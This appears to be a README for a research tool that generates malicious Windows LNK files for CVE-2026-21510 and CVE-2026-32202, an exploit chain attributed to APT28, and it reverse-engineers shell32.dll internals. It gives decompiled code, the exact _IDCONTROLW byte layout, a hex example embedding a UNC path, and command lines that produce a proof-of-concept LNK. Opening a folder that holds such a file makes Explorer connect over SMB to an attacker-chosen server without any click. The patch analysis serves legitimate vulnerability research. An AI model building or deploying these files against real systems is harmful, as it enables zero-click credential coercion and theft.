
Generates LNK files with crafted _IDCONTROLW structures to research Windows Shell spoofing vulnerabilities CVE-2026-21510 and CVE-2026-32202, including reverse engineering of shell32.dll internals.
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
options:
-h, --help show this help message and exit
--unc, -u PATH UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
--out, -o FILE Output LNK filename (default: test_idcontrolw.lnk)
--applet-id, -a INT Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
--name, -n STR Display name of the CPL applet (default: "Research CPL")
--infotip, -i STR Tooltip string (default: "CVE-2026-21510 research")
--no-dump Suppress the hex dump of _IDCONTROLW
Examples:
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
_IDCONTROLWResearch context: Analysis of CVE-2026-21510 / CVE-2026-32202 (APT28 LNK exploit chain).
Based on Akamai Security Research.
Goal: Reconstruct the internal_IDCONTROLWstructure used byshell32.dllto represent Control Panel applets inside aLinkTargetIDList.
APT28 exploited a vulnerability in Windows Shell (shell32.dll) by crafting a malicious .lnk file containing a LinkTargetIDList with a UNC path embedded inside an undocumented _IDCONTROLW structure. This caused explorer.exe to initiate an SMB connection to an attacker-controlled server without user interaction (zero-click).
The structure _IDCONTROLW is not documented in the public Windows SDK or in Microsoft's public PDB symbols for shell32.dll. This report documents its reconstruction through static analysis in IDA Pro.
According to MS-SHLLINK, the LinkTargetIDList contains a standard IDList — an array of variable-length ItemID entries terminated by a 2-byte null.
In the APT28 exploit, the IDList contains exactly three items:
| Index | Contents |
|---|---|
IDList[0] | CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — Control Panel root |
IDList[1] | CControlPanelCategoryFolder item — "All Control Panel Items" (category 0) |
IDList[2] | _IDCONTROLW — CPL applet entry with embedded UNC path |
This resolves to the virtual path:
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{CPL entry}
Since _IDCONTROLW is absent from public PDB symbols, reconstruction was performed by tracing the call chain in IDA Pro starting from CControlPanelFolder::GetUIObjectOf — the function responsible for rendering Control Panel items in Explorer.
CControlPanelFolder::GetUIObjectOfWhen Explorer renders a folder containing the malicious LNK, it calls GetUIObjectOf to extract an icon for the CPL item. This triggers the following chain:
CControlPanelFolder::GetUIObjectOf
└── CControlPanelFolder::GetModuleMapped ← PathFileExistsW triggered here (CVE-2026-32202)
└── CControlPanelFolder::GetModule
└── CControlPanelFolder::_IsUnicodeCPLWorker ← detects _IDCONTROLW
_IsUnicodeCPLWorker — structure validationconst struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
if ( *this > 0x18u // cb > 24
&& !*(this + 4) // +0x08 == 0
&& !*(this + 5) // +0x0A == 0
&& !*((_BYTE *)this + 12) // +0x0C == 0
&& *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
return (const struct _IDCONTROLW *)this;
return nullptr;
}
This reveals the Unicode marker at offset +0x0D = 0x6A.
CControlPanelFolder::GetModule — field access// Unicode path read from offset +0x18 (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);
// ANSI fallback reads from offset +0x0C:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
This confirms that the Unicode path (ModulePath) starts at +0x18.
_IDControlCreateW — structure constructionint __userpurge _IDControlCreateW@<eax>(...)
{
v8 = wcslen(a2); // len(ModulePath)
v9 = 2 * wcslen(a3) + 2; // sizeof(Name) in bytes
v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4); // total data size
v11 = ILCreate(v10 + 26); // alloc: data + 0x1A header
v11[1] = a1; // +0x04: dwAppletID
*((_BYTE*)v11 + 13) = 106; // +0x0D: typeFlag = 0x6A
*((_WORD*)v11 + 10) = (2*v8+2) >> 1; // +0x14: cchModule
*((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
*(_WORD*)v11 = v10 + 24; // +0x00: cb
// strings written at +0x18
}
_IDCONTROLW Structurestruct _IDCONTROLW {
WORD cb; // +0x00 size of entire structure (including cb itself)
WORD pad1; // +0x02 padding, always 0
DWORD dwAppletID; // +0x04 applet ID (negative for registered CPL, e.g. -201 = 0xFFFFFF37)
WORD pad2; // +0x08 always 0 (checked by _IsUnicodeCPLWorker)
WORD pad3; // +0x0A always 0 (checked by _IsUnicodeCPLWorker)
BYTE pad4; // +0x0C always 0 (checked by _IsUnicodeCPLWorker)
BYTE typeFlag; // +0x0D = 0x6A — Unicode CPL marker
WORD pad5; // +0x0E padding
DWORD pad6; // +0x10 padding
WORD cchModule; // +0x14 length of ModulePath in WCHARs (including null terminator)
WORD offName; // +0x16 offset of Name from start of data[] in WCHARs
WCHAR data[1]; // +0x18 ModulePath\0Name\0InfoTip (UTF-16LE)
};
| Offset | Size | Field | Value / Notes |
|---|---|---|---|
+0x00 | WORD | cb | Total size of structure |
+0x02 | WORD | pad1 | 0 |
+0x04 | DWORD | dwAppletID | Applet ID (e.g. 0xFFFFFF37 = -201) |
+0x08 | WORD | pad2 | 0 — validated by _IsUnicodeCPLWorker |
+0x0A | WORD | pad3 | 0 — validated by _IsUnicodeCPLWorker |
+0x0C | BYTE | pad4 | 0 — validated by _IsUnicodeCPLWorker |
+0x0D | BYTE | typeFlag | 0x6A — Unicode marker |
+0x0E | WORD | pad5 | 0 |
+0x10 | DWORD | pad6 | 0 |
+0x14 | WORD | cchModule | wcslen(ModulePath) + 1 |
+0x16 | WORD | offName | cchModule (Name immediately follows ModulePath) |
+0x18 | WCHAR[] | data[] | ModulePath\0Name\0InfoTip (UTF-16LE) |
_IDCONTROL vs _IDCONTROLWThe ANSI version (_IDCONTROL) is created by _IDControlCreateA and uses a different layout:
struct _IDCONTROL {
WORD cb; // +0x00 = total_size + 12
WORD flags; // +0x02
DWORD dwAppletID; // +0x04
WORD cchModule; // +0x08 strlen(ModulePath) + 1
WORD offName; // +0x0A cchModule + strlen(Name) + 1
CHAR data[1]; // +0x0C ModulePath\0Name\0InfoTip (ANSI)
};
Key differences:
| Property | _IDCONTROL (ANSI) | _IDCONTROLW (Unicode) |
|---|---|---|
| Header size | 0x0C (12 bytes) | 0x18 (24 bytes) |
| String encoding | ANSI (char) | UTF-16LE (WCHAR) |
| Unicode marker | absent | +0x0D = 0x6A |
| Detection | _IsUnicodeCPLWorker returns nullptr | returns pointer |
| Path start offset | +0x0C | +0x18 |
{26EE0668-...})1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83
Type 0x1F = root shell item with CLSID.
Reconstructed from CControlPanelCategoryFolder::CreateIDList:
*(_WORD*)v5 = 12; // cb = 0x0C
*((_WORD*)v5 + 1) = 1; // flags = 0x0001
v5[1] = 0x39DE2184; // magic identifier
v5[2] = 0; // category index = 0
Binary:
0C 00 01 00 84 21 DE 39 00 00 00 00
_IDCONTROLW with UNC pathExample with \\192.168.1.31\share\test.cpl:
9E 00 — cb = 158
00 00 — pad1
37 FF FF FF — dwAppletID = -201
00 00 — pad2
00 00 — pad3
00 — pad4
6A — typeFlag = 0x6A ✓
00 00 00 00 00 00 — pad5 + pad6
1E 00 — cchModule = 30
1E 00 — offName = 30
5C 00 5C 00 ... — \\192.168.1.31\share\test.cpl (UTF-16LE)
The vulnerability chain in the unpatched version:
Explorer renders folder
→ CControlPanelFolder::GetUIObjectOf (icon extraction request)
→ CControlPanelFolder::GetModuleMapped
→ PathFileExistsW(pszPath) ← SMB connection initiated HERE
Microsoft's patch (CVE-2026-21510) introduced ControlPanelLinkSite which adds SmartScreen verification via IVerifyingTrust::OnVerifyingTrust — but only at the ShellExecuteExW stage. The PathFileExistsW call in GetModuleMapped occurs earlier in the chain and was not addressed, leaving CVE-2026-32202 (authentication coercion) unpatched until a subsequent update.
The information provided in this repository is for educational and informational purposes only. The author does not endorse or take responsibility for any unlawful, malicious, or unethical use of the material presented. The techniques and concepts discussed should not be applied to systems or networks without proper authorization. The author is not liable for any damages, legal consequences, or losses resulting from the misuse of this information. Readers are encouraged to adhere to all applicable laws and guidelines regarding cybersecurity practices.